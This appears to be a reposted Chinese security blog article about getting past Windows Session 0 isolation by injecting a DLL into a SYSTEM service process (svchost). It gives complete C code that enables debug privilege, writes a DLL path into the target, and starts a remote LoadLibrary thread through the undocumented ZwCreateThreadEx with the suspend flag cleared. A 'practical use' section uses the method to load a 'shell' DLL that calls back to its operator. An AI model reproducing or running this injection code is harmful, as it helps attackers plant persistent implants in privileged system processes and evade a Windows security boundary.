Session 0 注入是一种针对 Windows 系统服务进程(运行于高权限 Session 0 环境)的代码注入技术,用于绕过系统安全隔离机制。其核心在于通过底层 API 直接创建非挂起线程,克服标准注入方法在 Session 0 中的限制。
核心原理
- Session 0 隔离机制
-
- Windows Vista 后引入的 Session 0 隔离将系统服务(如
svchost.exe、
wininit.exe)与用户应用分离,服务进程无法直接与用户桌面交互。 - 传统注入方法(如
CreateRemoteThread)因底层调用
ZwCreateThreadEx时强制设置线程挂起标志(
CreateThreadFlags=1),导致线程在 Session 0 中无法恢复执行23。
- Windows Vista 后引入的 Session 0 隔离将系统服务(如
- 关键突破点:
ZwCreateThreadEx参数控制
-
- 直接调用未公开的
ZwCreateThreadEx 函数,并将第7个参数
CreateThreadFlags(64位)或
CreateSuspended(32位)设为
0,使线程创建后立即执行,绕过挂起问题。
- 直接调用未公开的
代码实现
1、获取要注入的目标进程的 PID,这里获取svchost 进程796
2、执行注入操作
- 执行注入操作使用函数 ZwCreateRemoteThreadEx 代码如下:
BOOL EnableDebugPrivilege(BOOL bEnable)
{
BOOL fOK = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOK = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOK;
}
//远程线程注入
boolRemoteThreadInject(int Pid, constchar* Path)
{
//1.使用PID打开进程获取权限
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, Pid);
if (hProcess == NULL)
{
printf("打开进程失败n");
return FALSE;
}
else
{
printf("打开进程成功n");
}
//2.申请内存,写入DLL路径
LPVOID pBuf = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
if (!pBuf)
{
printf("申请内存失败!n");
return false;
}
else
{
printf("申请内存成功!n");
}
//3.写入内存
// SIZE_T dwWrite = 0;
if (!WriteProcessMemory(hProcess, pBuf, Path, strlen(Path) + 1, NULL))
{
printf("写入内存失败!n");
return false;
}
//4.创建远程线程,让对方调用LoadLibrary
HMODULE hModule = LoadLibrary("kernel32.dll");
LPTHREAD_START_ROUTINE pfnStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
if (!pfnStartAddress)
{
printf("获取LoadLibraryW失败!n");
return false;
}
else
{
printf("获取LoadLibraryW成功!n");
}
//5.加载ntdll.dll
HMODULE hNtdll = LoadLibrary("ntdll.dll");
if (NULL == hNtdll)
{
printf("加载ntdll.dll失败!");
CloseHandle(hProcess);
return FALSE;
}
//6.获取ZwCreateThreadEx的函数地址
typedefDWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("获取ZwCreateThreadEx函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
//7.在目标进程中创建线程
HANDLE hRemoteThread = NULL;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
pfnStartAddress, pBuf, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
printf("目标进程中创建线程失败!");
CloseHandle(hProcess);
return FALSE;
}
else
{
printf("目标进程中创建线程成功!n");
}
//8.等待线程结束返回,释放资源
WaitForSingleObject(hRemoteThread, -1);
CloseHandle(hRemoteThread);
VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);
}
intmain()
{
EnableDebugPrivilege(SE_PRIVILEGE_ENABLED);
printf("GetDuBug");
const char* dllpath = "C:\Windows\Temp\TestDll.dll";
RemoteThreadInject(796, dllpath);
printf("执行结束");
return 0;
}
注入成功后可以看到成功加载了TestDll.dll
实战利用
1、使用常规的dll 注入
首先我们准备一个 dll的shell
然后我们使用常规的dll 注入,使用 dll 注入器注入 shell.dll到普通权限session 1,可以看到注入后成功上线
接下来我们使用dll注入器尝试将shell.dll 注入到 系统服务进程(session 0)
可以看到注入失败,这是因为Session是Windows
系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0
和Session 1
的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。
2、Session 0 注入
那么如何突破呢?通过前人对CreateRemoteThread逆向研究发现,在CreateRemoteThread函数会在内部调用ZwCreateThreadEx,且会把第七个参数创建标识设置为1,这样就会使创建的线程挂起,这也就是注入失败的原因。
那么如果我们想要创建的线程成功执行则需要将第七个参数指定为0,这样就能在创建线程后正常执行。下面我们将dll远程注入创建进程的函数从CreateRemoteThread换成了ZwCreateThreadEx。
原文始发于微信公众号(贝雷帽SEC):【Tips】SESSION 0 隔离的远程线程注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论